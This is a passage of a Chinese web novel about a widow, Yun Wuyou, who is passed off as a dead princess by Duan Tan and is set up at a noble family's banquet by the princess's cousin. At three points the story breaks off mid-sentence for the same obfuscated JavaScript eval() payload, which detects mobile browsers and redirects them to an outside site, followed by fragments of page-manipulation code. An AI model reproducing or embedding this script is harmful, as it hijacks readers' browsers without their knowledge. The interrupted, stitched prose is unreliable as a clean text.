响起的女声低哑混浊,与记忆中那个明亮飞扬的人天差地别,昌平公主于是更加笃信她并非程曜灵,彻底不将她放在眼中,觉得她很可笑似的反问:
“伤人?程曜灵早就变成鬼了,可不算是人,至于你嘛——很快也会跟她一样变成鬼,如此说来,本宫怎么能算恶语伤人呢?”
昌平公主话里透出的傲慢和恶毒让云无忧逐渐攥紧了拳头,眼中迸发出暴烈的杀意。
她盯着昌平公主的脸缓缓从地上站起身,她们二人近在咫尺,只要她想,瞬息之间就能要了昌平公主的性命。
昌平公主被云无忧吓得向后踉跄两步,仿佛又看见了当年那个站在武阳长公主坟前,剑指她眉心的少年将军,顿时一阵凉气从脊椎骨窜到头顶,惶恐地对着身后护卫尖声大叫:
“来人!快来人!给我把她抓住!”
几个护卫闻声而动,制住云无忧后想让她恢复跪姿,谁知不论他们怎么摆布,云无忧的膝盖就是软不下去。
见事情闹到这个地步,杨弈终于对着昌平公主开口:
“她是小良王的贵客,稍后良王府会来人接她。”
昌平公主闻言怒火更盛,冷笑道:“段司年的人?怪不得这么嚣张,原来是有那个野种在背后撑腰。”
杨弈丝毫不受她情绪影响,仍旧声线平稳:“良王府的人快来了,微臣得送她到前厅去。”
昌平公主转头看他,眯起眼睛愠怒道:“驸马,你这是在拿良王府吓唬本宫?”
杨弈后退一步,对着她拱手鞠躬:“微臣不敢。”
见杨弈还算顺服,昌平公主将视线回落到云无忧身上,趾高气扬地一挥袖:
“这个人本宫要了,良王府如果着人来问,你就说本宫看中了她,要留她在公主府伺候。”
听见昌平公主的话,云无忧眸光更沉,手上本能般开始蓄力,心道要是被昌平公主带走,她恐怕连性命都难保。
但……若是此时暴露武力反抗昌平公主,一定会引起杨弈的戒备,盗军印之事可就前功尽弃了。
想到这,云无忧唇线紧抿,还是卸了手中力道。
而昌平公主话音刚落,一个冷傲的声音便自她身后响起:
“你的公主府太小,恐怕住不下我家世子妃。”
众人纷纷朝着声音的来处看去,只见段檀正大步流星地走来,他身后紧追不舍的家丁则苦着脸对杨弈告饶:
“侯爷,小王爷铁了心硬闯,实在是拦不住。”
杨弈见识过段檀的霸道,并未怪罪家丁,挥挥手让他下去,转头对着段檀见礼。
段檀对他视若无睹,只顾着将云无忧从护卫手中解救出来。
而昌平公主见了段檀自出现以来的所作所为,面上浮现出些许惊异之色,抚着发髻刻薄道:
“你方才说世子妃?本宫没听错吧?段司年,拿一个赝品当真,你是瞎了还是疯了?”
云无忧此刻已被段檀护在身侧,闻言抬眼去看段檀的神色。
只见段檀跟听不见昌平公主的话一般,牵着她径直往侯府门口迈去。
“段司年,给本宫站住!”昌平公主示意护卫拦住二人。
被一堆兵甲齐全的护卫拦住去路,段檀右手缓缓按上了刀柄,眼中寒光闪过,并未转头看身后的昌平公主一眼,冷声道:
“敢问公主殿下究竟有何贵干?”
昌平公主察觉了他的动作,冷哼一声,绕到他身前诘问道:
“怎么?你昨日兵围梧桐巷口犹嫌不够,今天是想在信平侯府大开杀戒了?”
段檀一言不发地盯着她,手始终没有从刀柄上挪开。
二人对峙良久,昌平公主自觉没趣,又走到杨弈身旁,刻意叹了一声,语带奚落:
“驸马,你何时变得这样窝囊了?羽林军要是不中用,可以跟本宫借兵。”
“本宫公主府的府兵,虽然比不上段司年手下从边关杀出来的金鳞铁骑,但也都是出自大将军长河营的精兵强将。
为你护身绰绰有余,也省得你总被人把刀架在脖子上威胁,传出去丢本宫的人。”
昌平公主的意思,是想趁机在杨弈身边安插她的人。
杨弈自是不愿,唇角挂上得体的微笑,与昌平公主推拉起来。
趁他们夫妻二人博弈,段檀找准时机,护着云无忧,迅速在护卫的包围里撕开了一个口子。
等昌平公主反应过来对手下发号施令之时,早已来不及了,只能眼睁睁看着他们二人向侯府大门跑去,无计可施。
突出重围后,他们在侯府门口与副将等人会合,直至月上梢头,一行人总算回到了良王府。
卧房中,为云无忧将有些渗血的右手重新包扎后,段檀从怀里掏出一个沉甸甸的物件递给了她。
云无忧接过这个和镯子有些相似,但似乎又甚是不同的物件,好奇道:“这是何物?”
段檀闻言嘴角略微勾起一个弧度:“给你的生辰贺礼。”
随后将灯盏移到云无忧眼前,以便她看清礼物的细节。
原来是给昭平郡主的寿礼,云无忧神情一顿,复又恍若无事般笑开,在灯光下打量着这支流光溢彩的手镯,口中赞道:
“这镯子真是精巧。”
这手镯连着戒指,构造颇为复杂,上面还缀有不少宝石,一看就价值不菲。
段檀对她的赞叹很是受用,凝视着她的脸道:
“它是我画了图纸专程找匠人打造的,别有妙处,等你戴上后便可知晓。”
云无忧含笑点头:“小王爷费心了。”
得到云无忧嘉许,段檀垂下头看手镯,眉眼被灯光染上暖意,语气是前所未有的温情:
“这些比不上你曾为我所做的万分之一。”
“那天女散花之景,本是当年我生辰时你为我所作。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506052|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我今日不过是效仿你所为罢了,真要算起来,你此次生辰,其实我只在这镯子上费了些心思。”
将段檀的话收入耳中,云无忧眉梢微动,觉得他说话时的口吻听起来似乎有些别扭……
但不等她继续细究其中的古怪之处,段檀的触碰便将她的思绪拉回了眼前。
段檀正有些小心翼翼地拉起她的手,仔细地为她戴着镯子。
见段檀并未对她光洁的左手掌心展露出一丝异样,云无忧思忖片刻试探着问道:
“今日我听闻昭平郡主掌心有一胎记,但我手上空空如也,小王爷是否真是认错人了?”
段檀头也不抬,斩钉截铁道:“我不会认错。”
他话音刚落,电光火石之间,云无忧恍然大悟,终于想通方才段檀的语气违和在哪里了,那分明就是人在做戏时的口吻!
她登时心如明镜,段檀恐怕只是在自欺欺人的借她演一出失而复得的戏码。
发妻早逝,痛不可当,忧思难忘,再寻替代,所谓“小娘子一笑,恰如吾妻少年时”,真是话本里的滥俗桥段,林寻从前不知给她讲过多少回。
云无忧凝视着段檀全神贯注的侧脸,世间男子就是如此可笑,总是以深情之名做下滥情的蠢事,白日里段檀对昭平郡主的所谓深情,如今看来也不过如此。
就在云无忧思绪辗转间,段檀终于为她戴好了镯子,随后就势握上她的手,手指不知在何处扣了一下,便有箭矢自其中飞出,击碎了远处的花瓶。
云无忧抬起戴着镯子的手腕反复打量,颇为惊喜:
“这是腕箭?好厉害的暗器!方才在信平侯府怎么不拿出来?我戴着它,也好对小王爷有所助益。”
段檀闻言对她点头:
“是腕箭,能连发三矢,但箭矢上没有淬毒。”
其实哪有暗器不淬毒的,只是段檀想到她向来不喜用毒,便做了个光明正大的暗器出来罢了。
语罢顿了顿,又回了她的第二个问题:
“我不想送你贺礼时,身边是刀光剑影。”
云无忧摸了摸镯子脱口而出道:
“可你送的这腕箭,正是面对刀光剑影时该用的。”
对于云无忧的不解风情,段檀一时无言,于是坐回了椅子上,开始沉默地擦刀。
云无忧见他一心一意坐在那里擦刀,总算察觉自己方才所言似乎是有什么不妥,于是凑近了段檀正在擦的刀赞道:
“小王爷这刀很是不错,削铁如泥锐不可当,咱们今日能从良王府脱困,多亏了它。”
段檀此人位高权重,有时候的确好用,譬如今日在信平侯府中,若不是他神兵天降,云无忧还真是进退两难。
而为盗取羽林军军印,以后这样的时刻恐怕少不了,所以云无忧并不介意在面上哄哄段檀,跟他打好关系。
见云无忧离刀太近,段檀眉心皱了皱,不动声色地挪了些许位置,而后继续擦着刀,过了一会儿才幽幽开口:
“这把刀是我亲手锻造的,你若是喜欢,我也为你锻造一把,你我夫妻,正好合练鸳鸯刀。”
将段檀所言收入耳中,云无忧面色顿时有些讪然,哄归哄,她可没想跟段檀当真鸳鸯,于是抬起右手在段檀面前晃了晃:
“不必不必,还是这腕箭更适合我,我最喜欢暗箭伤人。”
段檀被这话逗的终于肯正眼看她,声音里也掺了点笑意:“真是胡言乱语。”
接着像是想起了什么一般,将刀收回鞘中,问她:“你落在信平侯府的东西拿回来了吗?”
5. 鸢飞鱼跃
云无忧心里咯噔一下,思及今日随杨弈哄骗了段檀之事,试图蒙混过关地含糊道:“拿回来了。”
听清云无忧的回答,段檀垂下眉目,将佩刀搁在桌上,昏黄的灯光流过他脸庞,竟映出了几分平日里绝不可能显露出的脆弱。
他今日发觉被杨弈骗了之后,刚回到府里便带人到信平侯府接云无忧,路上副将对他再三保证,昨日亲兵们连云无忧掉在地上的头发都收走了,绝对没有遗漏任何物什。
良王回府就更是莫须有之事,完全是云无忧跟杨弈合伙骗他。
但云无忧骗他,他不也在骗云无忧么,何况他跟杨弈之间,被抛弃的人向来是他,早该习惯了……
他隐在暗处的面容愈发阴翳起来。
而云无忧见段檀并未当场发作,也没仔细盘问,心下一松,只当是混过去了,斟酌着眼前人的脸色也没再开口,免得无意间触了他的霉头。
半晌后,一位两鬓斑白的太医拎着药箱入门,段檀才缓和了神色,命他给云无忧看脉。
云无忧对此其实颇为抵触,自半年多前幼子林安被诊出毒症后,她已经讳疾忌医很久了。
毕竟小病忍忍自会痊愈,不必耗费精力和银钱去看诊买药,大病时药石也无用,何苦挣扎。
“太医说,你外强内虚、气机郁滞,情志不畅、心神不宁,长此以往怕是会伤及根本,有损寿数。”
在外间同太医交谈许久,将其送走后,段檀对云无忧道。
云无忧对此不置可否,颇随意地笑笑:“我自己的身子自己知道,应当无甚大碍。”
有大碍也无妨,横竖她现在孑然一身,若真大限将至,寻个恰当时机,为飞雪盟的功业舍了这条命便是,也算英勇就义,死得其所,不枉此生。
见她这副不拿自己身体当回事儿的样子,段檀眉峰隆起,面露不豫:
“我命人熬了安神汤,等会儿送过来,你记得趁热服用。”
云无忧笑得敷衍,只觉得段檀此举实在是多管闲事。
她的心思段檀并未察觉,语罢便离开了卧房。
昨日入良王府时,云无忧说要为先夫林寻守孝三年,须与段檀分房而居,当时段檀面色虽难看至极,当场拂袖而去,却到底是默许了。
段檀走后约莫半个时辰,早上给云无忧梳头的侍女戚娘推门道:
“世子妃,这是小王爷让送过来的安神汤。”
云无忧对她温和笑道:
“夜里凉,劳烦你前来送药,快把碗放下吧,明早再过来收拾也不迟,现下赶紧回你屋里去暖和暖和。”
戚娘谢她体谅,缓步退出了卧房。
戚娘离开后,云无忧看着桌上的安神汤,心中一阵厌烦,端起药碗抬手就倒在了窗外,随后便迈向里间就寝。
翌日晨光熹微,她睁眼没多久,堪堪穿好衣裳便听见了外间的动静。
于是云无忧顶着一头散发便跑到外头,想看看是否有急事发生。
小厅中,段檀一袭白衣,头戴玉冠,正负手立在窗侧,戚娘跪在他身前,手里似乎拿着什么,看不真切。
此时段檀听见里间有人出来,侧头看过去,见到是云无忧,顿时眉头皱得更紧,目光也阴阴沉沉地死盯着她,简直像一头随时会扑上去把她吞吃入腹的猛虎。
云无忧被吓得脚步一顿,连忙低头打量自己。
她衣衫都是齐整的,也就没梳好头,这不至于犯了什么死罪吧?段檀摆出这架势是为什么?谁惹他了?
云无忧一头雾水,满眼不解地望向段檀,此人这两日穿的如杨弈一般素雅,怎么脾气就不能也同杨弈一般温和?
好在段檀没让她困惑太久,不消片刻便开口道:
“昨夜的安神汤,你倒在窗下了。”
声音低沉,语气不善,不是疑问,而是陈述,没留给她任何反驳的余地。
可是……气性这么大就为一碗安神汤?
虽然想不通,但不妨碍云无忧看出段檀应当是动怒了,于是她试图安抚道:
“那安神汤口味太苦,我一时喝不惯,又不想拂了小王爷的好意,所以才……”
段檀静静地看着云无忧的嘴一张一合,耳边萦绕着她还算合情理的解释,嘴角却逐渐扯出了一抹讽刺的笑。
少顷,他忽然发问:“你面对杨遥臣时也是如此吗?”
云无忧怔住,一时间没明白这事跟杨弈有什么关系。
看着云无忧一无所知的脸,段檀偏过头,意兴阑珊道:“罢了”。
见段檀不欲再追究此事,云无忧松了口气,上前扶起一直跪在那里的戚娘。
段檀又叫来两个婢子装扮云无忧,他则迈步先离开了卧房。
他离开后,戚娘端着空药碗看向云无忧,叹气道:
“昨夜这碗安神汤,是小王爷从医师那里专门挑的药方,药里的饴糖,是小王爷后来亲手加的,在端出药房之前,小王爷亦是亲口试过药,说了温度适中,不算涩口。”
听了戚娘的话,云无忧神色一僵,心知段檀方才定是看出了她在扯谎。
……
梳完了妆,戚娘将她引至王府门口,段檀正在马车里等她。
坐在车里跟段檀相对,云无忧发觉段檀冷着脸不肯看她,也不同她言语,似乎还在因方才安神汤之事与她置气。
她自知理亏,于是开口笑道:
“小王爷,咱们这是要去哪儿?”
段檀并不搭理她递来的台阶,坐在那里仿佛老僧入定,云无忧好脾气地又搭了两次话,见他似乎是打定主意不开口,也不再自讨没趣。
过了半晌,马夫停车下马,段檀率先迈了出去,落地后又回过头伸手来接她。
云无忧见状怔愣一瞬,心道这会儿怎么不置气了。
但毕竟出门在外,不好让段檀下不来台,她还是很给面子地绽出笑脸,攀着段檀的小臂落了地。
站定后,她本想辨认一番面前府门上的匾额,弄明白这是何处,但段檀拉着她走得太快,不等她看清匾额上的字迹,便已经入了府。
迈过门槛踏进前院,段檀总算是肯出声了:
“这是高唐侯府,临阳程氏如今的族长——太史令程简,上月末赴京就任,为庆升迁之喜,如今正在此办他的烧尾宴。”
烧尾宴,一席五十八道名菜,光糕点就不下二十余种,盘中尽是山珍海味,飞禽走兽,宴上最令人称道的“素蒸音声部”,以精细食材制成七十件歌女舞女像,个个身姿曼妙,栩栩如生,却只看不吃。
可谓极尽奢侈靡费,但在如今的京城权贵中俨然已经成了风气,官员们不惜豪掷千金,也要借此宴友联亲,追名逐利。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506053|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
云无忧对这宴并不陌生,她入飞雪盟后,通过盟友的门路,捡到过几次大人物们宴毕后剩的残羹冷炙,滋味不错,算是入京后难得尝到的几回荤腥甜味。
不过这会儿她根本顾不上什么烧尾宴,她只知道高唐侯府是昭平郡主程曜灵的家!段檀今日为何要带她来此?!
云无忧被一种不妙的预感笼罩,每一步都走得心惊肉跳,刚想开口问段檀到底意欲何为,却见他正对着不远处点头。
段檀这难得和善的表态让云无忧顿时心生诧异,她顺着段檀的视线望去,没多久便在满院宾客里找到了一位紫衣金钗的少女。
那少女英气逼人,神采奕奕,看起来约莫十六七岁,梳着尚未出阁的发髻,贵而不骄,风姿不凡。
就在云无忧打量的间隙,她已来到了段檀跟前,利落地见礼后,便笑嘻嘻地同段檀攀谈起来:
“姐夫,之前从没见你赴宴时带过哪位女子,今日怎么……堂姐?!”
转眼看清云无忧的脸,紫衣少女愕然惊呼,简直不敢相信自己的眼睛,也完全忘记了身为贵族小姐的矜持。
段檀则对她有些失礼的举动并不在意,甚至看起来心情颇好地对她道:
“若鱼,来见过你堂姐。”
这下程若鱼岂止是不敢相信自己的眼睛,她几乎都要开始怀疑自己的耳朵,她看看段檀,又看看云无忧,一时间喉头哽住,竟说不出话来。
云无忧更是低下头去,不知该如何自处,只觉得段檀真是疯了。
他到底知不知道他在高唐侯府如此言行,无异于昭告天下昭平郡主回来了,可现下他身边这个人不是昭平郡主程曜灵,是她云无忧!
一个跟这里、跟京城所有权贵都无关的人!
以假充真、鱼目混珠的过家家把戏,在他的良王府关起门来玩玩还行,这里可是高唐侯府,昭平郡主亲族所在之地!难道他以为所有人都没长眼睛吗?
程若鱼勉强镇定了下来,她并未接段檀的话茬,而是在打量了云无忧一番后,拉起她的左手,将掌心摊开,指给段檀道:
“姐夫,这位姑娘掌心白皙,空空如也,并无胎记,就算面貌相似,也绝不是我堂姐,姐夫莫被骗了。”
程若鱼将此事戳破,段檀却置若罔闻,反而又对着云无忧介绍道:
“曜灵,你之前受伤忘记许多事,可能不记得了,这是你堂妹,单名鸢,字若鱼,是你叔父的女儿。”
云无忧抬眼,一言不发地瞧着段檀。
程鸢见段檀根本不为所动,甚至还变本加厉起来,面上流露出些许羞愤的神色,咬了咬嘴唇,连招呼都没打便跑开了。
“若鱼真是越大越不成样子了。”
段檀眉梢微动,语气自然得诡异,仿佛他真是一位诚心来赴宴,却被程鸢这个主家怠慢了的普通亲眷。
云无忧面无表情,心中被荒诞感席卷,冷声问他:“小王爷是想毁了程太史令的烧尾宴吗?”
段檀闻言却只目光幽深地看向她。
看不懂段檀这个疯子的神色,云无忧将视线从他脸上挪开,在院内环视一圈,发现不少宾客都伸长耳朵正注意着这边的动静。
她想不明白段檀究竟意欲何为,也不想陪段檀把这场已经荒腔走板的戏唱下去了,她现在只想离开眼前这个不属于她的地方。
6. 道家高人
但云无忧稍有动作便被察觉,背后很快伸来一支结实的手臂将她拦腰截住,段檀不动声色地将她整个人圈在了怀里。
云无忧咬牙,简直想把头上的银簪拔下来扎进段檀心口,偏头躲开段檀近在咫尺的鼻息,她极力掩饰着面上的不豫。
段檀瞥了她一眼,并未说什么,只强行揽着她向高唐侯府的厅堂走去,路上遇到旁人见礼,一一颔首而过。
而他们还未走到厅中,程简便已经摸着胡子一脸惊喜地迎了出来:
“小王爷日理万机,公事繁忙,今日竟拨冗前来赴宴,老夫我真是荣幸至极呀!”
临阳程氏人丁不旺,嫡支子弟寥寥,先帝在时多有抬举,暂且看不出颓势,但去年短短一年内,先帝驾崩,老高唐侯程谦也辞世,日子一下子就艰难起来。
现下连族长都是无爵位傍身的旁系程简,堪堪在明面上维持大央七贵之一的荣耀罢了。
好在这些年段檀没少关照程家,程简亦是深受提携,短短几年内官运亨通,平步青云,如今更是入京住进了程氏主家,因此这会儿面对段檀极为热络。
二人客套一番后,程简看着云无忧询问道:“不知这位是……?”
“程太史令早年多在临阳,怕是还未曾见过你家昭平郡主。”
段檀答得轻巧,听在程简耳中却如同惊雷炸开,让他呆立当场,迟迟吐不出一句完整的话:“这……”
人尽皆知昭平郡主程曜灵已经故去三年了,眼前这女子是从何处而来?!小良王这话又是何意?
“世伯,开宴还早,先让姐夫进来坐吧。”
程鸢的解围让程简顿时如蒙大赦:“对对对,我真是老糊涂了,怎么能让小王爷一直站在这儿,先入座先入座。”
云无忧沉默地跟着段檀入席就坐,只当自己是个死人。
而段檀也不是长袖善舞之人,入座之后鲜少开口,只在旁人问他时吐出几个字。
于是宴席上一时间全靠程鸢往来交际,她处世极有分寸,不将云无忧的身份摆在台面上,也并不忽视云无忧,几番谈笑下来,云无忧对她甚是青眼,评价颇高。
“呀!奴婢该死,还请贵人恕罪。”
觥筹交错间,一个侍女不小心将茶水撞翻在了云无忧身上,急切告饶道。
段檀当即脸一沉,眉心拧起,云无忧在他发作之前,赶紧开口将那毛手毛脚的侍女给打发走了。
程鸢将一切尽收眼底,对着被茶水泼了个满怀的云无忧温和笑道:“一直穿着脏衣裳也不妥,我带你到后边去换一身吧。”
云无忧依言起身,随她前往后院。
路上,程鸢开口闲谈起来:“方才姑娘在席上甚少开口,看着像是个稳重人。”
云无忧客气道:“我粗陋,怕说了什么不该说的,还是少开口的好。”
程鸢笑眯眯地挽上云无忧的胳膊:“说来还不知姑娘姓甚名谁?是何方人士?”
云无忧闻言怔了一瞬,心知无法欺瞒程曜灵的亲堂妹,于是坦诚道:“我名云无忧,无字,沧州昆吾人士。”
其实她本就不喜欢骗人,只是近来情势所迫,很多时候也是没有办法。
程鸢没料到云无忧答得如此干脆,神情一顿又迅速恢复过来,望着云无忧的眼睛赞许道:
“云无忧,任红尘白日忙如火,但云漾无忧,此乃道家高人诗作,真是好名字。”
可惜云无忧不通诗赋,压根儿听不懂,只能干笑两声以作回应。
她才知道自己的名字还有这个来头,但说实话,她觉得是程鸢想多了,因为给她取名的亲爹是个出身行伍的大老粗,连字都不识得几个,更别说什么道家诗句了。
见云无忧没回话,程鸢十分亲昵地摇着她的手,又开口道:
“你是沧州人,有这样一个名字,长得又肖似我堂姐,若是给忠节夫人看到,不知该怎么疼你呢。”
“忠节夫人?”云无忧疑惑。
程鸢点头,耐心同她解释:
“就是我堂姐的生母,她也是沧州人,忠节夫人是她的封号,京中被封夫人的官眷其实不少,但她的封号是先帝当年特赐,可比男子中的‘定远侯’,不是一般的荣耀。”
“她与我伯父伉俪情深,本是夫妻中的楷模,可惜我伯父早逝,只在她膝下留了我堂姐一个女儿。
几年前我堂姐犯下大错,险些被逐出族谱,她代女受过,出家在城北灵泉观做了道士,断了尘缘,不再见人,连去年我父亲葬礼都不肯露面。”
“原来如此,也是个可怜人。”云无忧轻叹。
看到云无忧脸上的遗憾之意,程鸢沉默了片刻,语气有些古怪道:
“你不觉得,我堂姐带累生母至此,很是不孝吗?”
昭平郡主是离世之人,死者已矣,再加上云无忧其实直到现在都对程曜灵知之甚少,不欲论其是非,便没有回答。
程鸢也不再开口,低着头不知在想些什么。
不一会儿她们便抵达了后院的一间小屋,程鸢在门口停下脚步,让云无忧进去换衣裳。
云无忧不疑有他,进了小屋直奔衣柜,颇幸运地找到了一件同她身上穿着相仿的衣裙,可等她换装完毕想要出去时,却发现屋门从外面被锁起来了。
“程小姐?”
云无忧试图寻找将她带来此处的程鸢,可惜对着门口大声呼唤了好一会儿,始终无人应答。
于是云无忧开始在屋子里摸索起来,试图找到脱困之法。
很快,她的目光停在了那扇被锁住的窗户上。
但正当云无忧抡起木椅向着窗锁砸去之时,屋门处传来了开锁的动静,她当即放下木椅,朝着屋门走去:
“程小姐,你方才怎么不在?是有急事——”
门开后,云无忧出口的话戛然而止,神色大变。
因为来人不是程鸢,而是一个陌生的壮汉。
他一副程府家丁打扮,生得高大魁梧,面颊浮肿泛红,双眼迷离,呼吸粗重,行动时浑身的肌肉与肥肉如水浪般震颤,身上还散发出酸臭的酒气,看上去醉得不轻。
“小娘子……嗝……来陪大爷玩玩儿。”
醉汉声如雷鸣,朝着云无忧步步逼近,云无忧飞速后撤,敏捷地射出一枚腕箭,向醉汉甩去。
云无忧不想闹出人命,因此并未射中醉汉要害,只想逼他识相退去。
腕箭穿透醉汉左肩上方,溅出血来,可他见了血却并未退去,反而更加凶狠急躁,嘴里骂骂咧咧的,肉山般扑向云无忧:
“躲什么……难道还怕老子亏待了你不成……他爹的,老子有的是钱!只认钱的贱人!”
既然他非要找死,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506054|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那云无忧也乐得成全他,摸上方才那把还算趁手的椅子后,她抡起椅子就照着醉汉脑袋砸了过去。
木椅携着雷霆万钧之势与醉汉的天灵盖相撞,炸开“嘭”的一声,是骨骼碎裂的声响。
醉汉被砸得头破血流,酒终于醒了大半,痛苦不已地倒在地上,发出杀猪般哀嚎。
老娘可不是京城里未经世事的千金小姐,云无忧冷眼看着脚边的手下败将,对自己一如既往的臂力还算满意。
徒手扯开之前换下来的衣裳,将那醉汉五花大绑后,云无忧也算是明白过来了,莫名失手的侍女,离奇被锁的房间,突然出现的醉汉,都在短时间内被她碰上,世上哪有这么多凑巧的事。
恐怕是有人在针对她……云无忧眯起眼睛,一脚踩在醉汉头上思索起来。
……
此时的侯府大堂。
段檀频频将视线投向门口,迟迟不见云无忧,他无法抑制的逐渐心生烦躁。
下一刻,程鸢出现在他的视野里,他下意识向其身后看去,以为后面跟着的应当是云无忧。
但那人露出身形后,他才发现竟是高唐侯府如今的太夫人袁氏,袁氏手里拉着的则是只有十三岁的现任高唐侯程禄。
没见到想见的人,段檀皱着眉继续注视门口,却始终不见再有人进来。
“见过小王爷。”袁氏一进门便带着程禄过来给段檀行礼。
段檀右手虚抬,对着眼前的母子二人微微颔首后,看向一边的程鸢开口道:“你堂姐呢?”
结果还不等程鸢回答,程禄便格外惊诧的接话道:“堂姐?堂姐不是三年前就已经过世了吗?”
他话音还未落,段檀的脸就沉了下来,周身气势吓得程禄打了个哆嗦,立马缩着脖子往袁氏背后躲。
程鸢见状赶紧出来打圆场,捂着胸口懊恼道:
“都怪我,一听母亲回来就急着跑过去接,竟把云姑娘给忘在后院了。”
段檀闻言冷眼看着她,意有所指道:“你之前可不是这么毛躁的人。”
程鸢的表情登时有些僵硬,但还不等她为自己开脱几句,段檀便又开口:
“还有,那是你堂姐程曜灵,不是什么云姑娘,今后别再记错。”
“现在带我去后院找她。”
程鸢脸色难看,嗫嚅片刻,还是没敢说出高唐侯府后院禁止外男出入这句话,看了一眼正护在弟弟身前的母亲,她压下心中的苦涩,强撑起笑意对段檀道:
“姐夫,正巧府中近日新到了一批锦缎,我想在席上问问,看有没有夫人小姐愿意顺道同我去后院挑选一番。”
段檀却并未理会她的请求,抬腿走到她身侧,只沉声道:“谁也不准跟来。”
语气和神色一样冰冷,完全没了今日刚入侯府同程鸢交谈时的和善。
无法违逆段檀,程鸢只好动身朝着后院的方向走去。
二人抵达木屋前,只见房门虚掩,里面不时传来男子粗重的喘息声。
段檀瞬间变了脸色,一脚将房门踹得大开,整间屋子都随之震颤,浮尘飞扬,呛入鼻腔,而他全然不顾,三步并作两步闯进屋里,到了床帐前却蓦地停下脚步。
因为帐里隐约透出的,那支裸露的男子手臂上纠缠着的,正是云无忧今日同他出门时穿的衣裳,他亲自挑选的天青色短衫。
7. 高门秘事
就在脑海中有什么轰然倒塌之际,段檀余光捕捉到了窗角处一个跃动的纤长手影,理智这才缓缓回笼。
此时程鸢也来到了段檀身后,看到床帐里依稀露出的荒唐景象不由得失声惊叫,捂住脸转过了身:
“姐夫,这……我先前只是让她在此处换衣的……怎会如此……”
“是你设计的。”段檀语气笃定,一开口就给程鸢判下罪名。
程鸢闻言如遭雷击,大声辩驳道:“姐夫,我一向崇敬于你,你怎能如此想我?!”
段檀将手按在刀柄上,转脸逼视着她的眼睛:
“之前那个丫鬟将茶水倒在曜灵身上并非意外,目的是让你有借口将她单独带到此处,趁机构陷。”
“方才在席上,你试图将夫人小姐们引来后院,也是刻意为之,目的是把事情闹大,让曜灵今后在京城无立锥之地。”
程鸢步步后退,泪流不止,直至脊背抵上墙壁,还是颤着声音坚持否定段檀的推断。
见她咬死不认,段檀面上嫌恶更甚:
“你歹毒至此,根本不配做她的堂妹。”
段檀这句宣判一出,程鸢原本楚楚可怜的面容上浮现了怒色,她十分反常的停下泣声,从怀里掏出手帕抹去脸上泪痕,直视段檀道:
“是我做的又如何,姐夫,你以为这就叫歹毒了吗?”
程鸢话音刚落,床侧那扇窗户便从外面被一脚踹开,云无忧讽刺的声音传入她耳内:
“这还不叫歹毒吗?程小姐可真是谦虚。”
她从一开始就不在屋里,先头那醉汉被她打晕丢到了床上,段檀进屋后,她便在窗外用手势提醒段檀程鸢有问题,本来只是试探,没想到这么快就得到了答案。
说个难听的,今天遭此横祸的如果不是她云无忧,而是个体弱些的寻常女子,恐怕难逃受辱。
程鸢在宴席上体面周全,这事却干得简直丧尽天良,竟还有脸出口辩驳,真是知人知面不知心,骂她歹毒都算抬举了。
而程鸢看到此时倚在窗框上、探头奚落她的云无忧,再望向站在那里对她满眼鄙夷的段檀,刹那间明白了一切,竟忽地笑出声来。
眼看着她越笑越癫狂,云无忧头皮有些发麻,皱着眉头开口:“程小姐……”
“你闭嘴!一个赝品,哪来的资格在我面前说话!”
这会儿即使是在段檀面前,程鸢也彻底懒得装了,厉声打断了云无忧的话。
云无忧眉梢一挑,得,这是人家京城里公侯小姐们之间的恩怨情仇,哪儿有她一个平民寡妇张嘴的余地。
云无忧看得开,段檀面色却极为阴沉:“程若鱼,她是你堂姐。”
他看着程鸢一字一顿,掷地有声。
程鸢嗤笑:“我堂姐早就魂归地府了,她要是泉下有灵,看见你为了一个赝品如此做派,恐怕会笑得直不起腰吧。”
“不过我其实很好奇,程曜灵她明明忤逆不孝、离经叛道、水性杨花,为什么你们一个个还对她念念不忘?”
“小王爷,方才你说我不配做程曜灵的堂妹,不瞒你说,其实我一直觉得,是程曜灵不配做我堂姐才对。”
“而且姐夫,你莫忘了,当初真的与你拜过堂的那个人,其实是我。”
精彩,听完程鸢一番控诉,云无忧只觉得这真比她从前听林寻讲过的任何一篇话本子都精彩,不愧是高门秘事,就是比村口的家长里短刺激。
都说昭平郡主风流,听听程鸢这番话,小良王也是不遑多让啊。
云无忧自觉事不关己,看热闹看得津津有味。
段檀作为局中人,面色则晦暗得吓人,周身也渐渐被一种浓稠的、无比凶戾的血腥气笼罩,仿佛一个已经死去多年,却始终守着尸身不肯离去的厉鬼。
感知到段檀身上正散发出的骇人气势,程鸢咽了咽口水,终于明白她做得过头了,心中难以抑制地涌现出几分惶然。
